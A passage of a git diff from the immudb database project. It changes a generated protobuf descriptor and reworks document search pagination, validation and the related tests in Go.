0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, - 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x6d, 0x61, 0x6e, 0x79, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, + 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x6d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x22, 0x11, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x83, 0x01, 0x0a, 0x0d, + 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x3a, 0x01, 0x2a, 0x22, - 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, - 0x74, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x92, 0x41, - 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x15, 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, + 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x1a, 0x11, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x42, 0xb0, 0x01, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, - 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, - 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, - 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, - 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, - 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, - 0x68, 0x12, 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, - 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, + 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, + 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, + 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, + 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, + 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, + 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, + 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2543,10 +2523,10 @@ var file_documents_proto_goTypes = []interface{}{ (*DocumentUpdateRequest)(nil), // 23: immudb.model.DocumentUpdateRequest (*DocumentUpdateResponse)(nil), // 24: immudb.model.DocumentUpdateResponse (*DocumentSearchRequest)(nil), // 25: immudb.model.DocumentSearchRequest - (*OrderExpression)(nil), // 26: immudb.model.OrderExpression - (*Query)(nil), // 27: immudb.model.Query - (*QueryExpression)(nil), // 28: immudb.model.QueryExpression - (*FieldComparison)(nil), // 29: immudb.model.FieldComparison + (*Query)(nil), // 26: immudb.model.Query + (*QueryExpression)(nil), // 27: immudb.model.QueryExpression + (*FieldComparison)(nil), // 28: immudb.model.FieldComparison + (*OrderByClause)(nil), // 29: immudb.model.OrderByClause (*DocumentSearchResponse)(nil), // 30: immudb.model.DocumentSearchResponse (*DocumentAtRevision)(nil), // 31: immudb.model.DocumentAtRevision (*DocumentAuditRequest)(nil), // 32: immudb.model.DocumentAuditRequest @@ -2569,19 +2549,19 @@ var file_documents_proto_depIdxs = []int32{ 8, // 6: immudb.model.CollectionListResponse.collections:type_name -> immudb.model.Collection 38, // 7: immudb.model.DocumentInsertRequest.document:type_name -> google.protobuf.Struct 38, // 8: immudb.model.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct - 27, // 9: immudb.model.DocumentUpdateRequest.query:type_name -> immudb.model.Query + 26, // 9: immudb.model.DocumentUpdateRequest.query:type_name -> immudb.model.Query 38, // 10: immudb.model.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct - 27, // 11: immudb.model.DocumentSearchRequest.query:type_name -> immudb.model.Query - 26, // 12: immudb.model.DocumentSearchRequest.orderBy:type_name -> immudb.model.OrderExpression - 28, // 13: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression - 29, // 14: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison + 26, // 11: immudb.model.DocumentSearchRequest.query:type_name -> immudb.model.Query + 27, // 12: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression + 29, // 13: immudb.model.Query.orderBy:type_name -> immudb.model.OrderByClause + 28, // 14: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison 1, // 15: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator 39, // 16: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value 31, // 17: immudb.model.DocumentSearchResponse.revisions:type_name -> immudb.model.DocumentAtRevision 38, // 18: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct 31, // 19: immudb.model.DocumentAuditResponse.revisions:type_name -> immudb.model.DocumentAtRevision 40, // 20: immudb.model.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 - 27, // 21: immudb.model.DocumentDeleteRequest.query:type_name -> immudb.model.Query + 26, // 21: immudb.model.DocumentDeleteRequest.query:type_name -> immudb.model.Query 2, // 22: immudb.model.DocumentService.CollectionCreate:input_type -> immudb.model.CollectionCreateRequest 6, // 23: immudb.model.DocumentService.CollectionGet:input_type -> immudb.model.CollectionGetRequest 9, // 24: immudb.model.DocumentService.CollectionList:input_type -> immudb.model.CollectionListRequest @@ -2912,7 +2892,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*OrderExpression); i { + switch v := v.(*Query); i { case 0: return &v.state case 1: @@ -2924,7 +2904,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Query); i { + switch v := v.(*QueryExpression); i { case 0: return &v.state case 1: @@ -2936,7 +2916,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*QueryExpression); i { + switch v := v.(*FieldComparison); i { case 0: return &v.state case 1: @@ -2948,7 +2928,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FieldComparison); i { + switch v := v.(*OrderByClause); i { case 0: return &v.state case 1: diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 82f00bf963..ce17d8a7ca 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -50,7 +50,7 @@ type DocumentDatabase interface { // DocumentAudit returns the document audit history DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) // SearchDocuments returns the documents matching the query - SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) + SearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error) // DocumentDelete deletes a single document DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) // DocumentProof returns the proofs for a document @@ -78,7 +78,7 @@ func (d *db) CreateCollection(ctx context.Context, req *protomodel.CollectionCre return &protomodel.CollectionCreateResponse{}, nil } -func (d *db) ListCollections(ctx context.Context, req *protomodel.CollectionListRequest) (*protomodel.CollectionListResponse, error) { +func (d *db) ListCollections(ctx context.Context, _ *protomodel.CollectionListRequest) (*protomodel.CollectionListResponse, error) { collections, err := d.documentEngine.ListCollections(ctx) if err != nil { return nil, err @@ -251,7 +251,7 @@ func (d *db) UpdateDocument(ctx context.Context, req *protomodel.DocumentUpdateR return nil, ErrIllegalArguments } - txID, docID, rev, err := d.documentEngine.UpdateDocument(ctx, req.Collection, req.Query, req.Document) + txID, docID, rev, err := d.documentEngine.UpdateDocument(ctx, req.Query, req.Document) if err != nil { return nil, err } @@ -268,17 +268,17 @@ func (d *db) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditReq return nil, ErrIllegalArguments } + if req.Page < 1 || req.PageSize < 1 { + return nil, fmt.Errorf("%w: invalid page or page size", ErrIllegalArguments) + } + // verify if document id is valid docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) if err != nil { return nil, fmt.Errorf("invalid document id: %v", err) } - if req.Page < 1 || req.PerPage < 1 { - return nil, fmt.Errorf("invalid offset or limit") - } - - revisions, err := d.documentEngine.DocumentAudit(ctx, req.Collection, docID, int(req.Page), int(req.PerPage)) + revisions, err := d.documentEngine.DocumentAudit(ctx, req.Collection, docID, int(req.Page), int(req.PageSize)) if err != nil { return nil, fmt.Errorf("error fetching document history: %v", err) } @@ -289,25 +289,8 @@ func (d *db) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditReq } // SearchDocuments returns the documents matching the search request constraints -func (d *db) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) { - if req == nil { - return nil, ErrIllegalArguments - } - - if req.Page < 1 || req.PerPage < 1 { - return nil, fmt.Errorf("invalid offset or limit") - } - - offset := (req.Page - 1) * req.PerPage - if offset < 0 { - return nil, fmt.Errorf("invalid offset") - } - - reader, err := d.documentEngine.GetDocuments(ctx, req.Collection, req.Query, req.OrderBy, int64(offset)) - if err != nil { - return nil, err - } - return reader, nil +func (d *db) SearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error) { + return d.documentEngine.GetDocuments(ctx, query, offset) } func (d *db) DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) { @@ -315,7 +298,7 @@ func (d *db) DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteR return nil, ErrIllegalArguments } - err := d.documentEngine.DeleteDocument(ctx, req.Collection, req.Query) + err := d.documentEngine.DeleteDocument(ctx, req.Query) if err != nil { return nil, err } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 9751390c07..2dd671cf2a 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -99,33 +99,30 @@ func TestDocumentDB_Collection(t *testing.T) { require.NotNil(t, docRes) // query collection for document - reader, err := db.SearchDocuments(context.Background(), &protomodel.DocumentSearchRequest{ + reader, err := db.SearchDocuments(context.Background(), &protomodel.Query{ Collection: collectionName, - Page: 1, - PerPage: 10, - Query: &protomodel.Query{ - Expressions: []*protomodel.QueryExpression{ - { - FieldComparisons: []*protomodel.FieldComparison{ - { - Field: "pincode", - Operator: protomodel.ComparisonOperator_EQ, - Value: structpb.NewNumberValue(123), - }, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewNumberValue(123), }, }, }, }, - }) + }, + 0, + ) require.NoError(t, err) defer reader.Close() - revisions, err := reader.ReadN(context.Background(), 1) + revision, err := reader.Read(context.Background()) require.NoError(t, err) - require.Equal(t, 1, len(revisions)) - doc := revisions[0].Document + doc := revision.Document require.Equal(t, 123.0, doc.Fields["pincode"].GetNumberValue()) diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index a3fd99c1f2..5209d5bdde 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -294,7 +294,7 @@ func (d *closedDB) DocumentAudit(ctx context.Context, req *protomodel.DocumentAu } // SearchDocuments returns the document -func (d *closedDB) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) { +func (d *closedDB) SearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 0889377bf4..668d0a5d49 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -19,18 +19,13 @@ package server import ( "context" "errors" + "fmt" "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/rs/xid" - "google.golang.org/grpc/codes" - "google.golang.org/grpc/status" -) - -var ( - ErrInvalidPreviousPage = status.Errorf(codes.InvalidArgument, "cannot go back to a previous page") ) func (s *ImmuServer) CollectionCreate(ctx context.Context, req *protomodel.CollectionCreateRequest) (*protomodel.CollectionCreateResponse, error) { @@ -174,75 +169,96 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *protomodel.Documen return nil, err } + if req == nil { + return nil, ErrIllegalArguments + } + + if req.SearchId != "" && req.Query != nil { + return nil, fmt.Errorf("%w: query or searchId must be specified, not both", ErrIllegalArguments) + } + // get the session from the context sessionID, err := sessions.GetSessionIDFromContext(ctx) if err != nil { return nil, err } + sess, err := s.SessManager.GetSession(sessionID) if err != nil { return nil, err } // check if the paginated reader for this query has already been created - var resultReader document.DocumentReader var pgreader *sessions.PaginatedDocumentReader - var searchID string - // check if the incoming searchID is valid - if req.SearchID != "" { + // check if the incoming SearchId is valid + if req.SearchId != "" { var err error - if pgreader, err = sess.GetPaginatedDocumentReader(req.SearchID); err != nil { - // invalid searchID, return error + + if pgreader, err = sess.GetPaginatedDocumentReader(req.SearchId); err != nil { + // invalid SearchId, return error return nil, err - } else { // paginated reader already exists, resume reading from the correct offset based - // on pagination parameters, do validation on the pagination parameters - if req.Page < pgreader.LastPageNumber { - return nil, ErrInvalidPreviousPage - } - resultReader = pgreader.Reader - searchID = req.SearchID } - } else { // paginated reader does not exist, create a new one and add it to the session - resultReader, err = db.SearchDocuments(ctx, req) + + // paginated reader already exists, resume reading from the correct offset based + // on pagination parameters, do validation on the pagination parameters + if req.Page != pgreader.LastPageNumber+1 || req.PageSize != pgreader.LastPageSize { + req.Query = pgreader.Query + pgreader = nil + } + } else { + if req.Page < 1 || req.PageSize < 1 { + return nil, fmt.Errorf("%w: invalid page or page size", ErrIllegalArguments) + } + + req.SearchId = xid.New().String() + } + + if pgreader == nil { + // create a new reader and add it to the session + offset := int64((req.Page - 1) * req.PageSize) + + docReader, err := db.SearchDocuments(ctx, req.Query, offset) if err != nil { return nil, err } // store the reader in the session for future use pgreader = &sessions.PaginatedDocumentReader{ - Reader: resultReader, + Reader: docReader, + Query: req.Query, LastPageNumber: req.Page, - LastPageSize: req.PerPage, + LastPageSize: req.PageSize, } - searchID = xid.New().String() - sess.SetPaginatedDocumentReader(searchID, pgreader) + sess.SetPaginatedDocumentReader(req.SearchId, pgreader) } // read the next page of data from the paginated reader - results, err := resultReader.ReadN(ctx, int(req.PerPage)) + docs, err := pgreader.Reader.ReadN(ctx, int(req.PageSize)) if err != nil && !errors.Is(err, document.ErrNoMoreDocuments) { return nil, err } // update the pagination parameters for this query in the session - sess.UpdatePaginatedDocumentReader(searchID, req.Page, req.PerPage, int(pgreader.TotalRead)+len(results)) - - resp := &protomodel.DocumentSearchResponse{ - SearchID: searchID, - Revisions: results, - } + sess.UpdatePaginatedDocumentReader(req.SearchId, req.Page, req.PageSize) if errors.Is(err, document.ErrNoMoreDocuments) { // end of data reached, remove the paginated reader and pagination parameters from the session - delErr := sess.DeletePaginatedDocumentReader(searchID) - if delErr != nil { - s.Logger.Errorf("error deleting paginated reader: %s, err = %v", searchID, delErr) + err = sess.DeletePaginatedDocumentReader(req.SearchId) + if err != nil { + s.Logger.Errorf("error deleting paginated reader: %s, err = %v", req.SearchId, err) } + + return &protomodel.DocumentSearchResponse{ + Revisions: docs, + }, nil } - return resp, nil + return &protomodel.DocumentSearchResponse{ + SearchId: req.SearchId, + Revisions: docs, + }, nil } func (s *ImmuServer) DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) 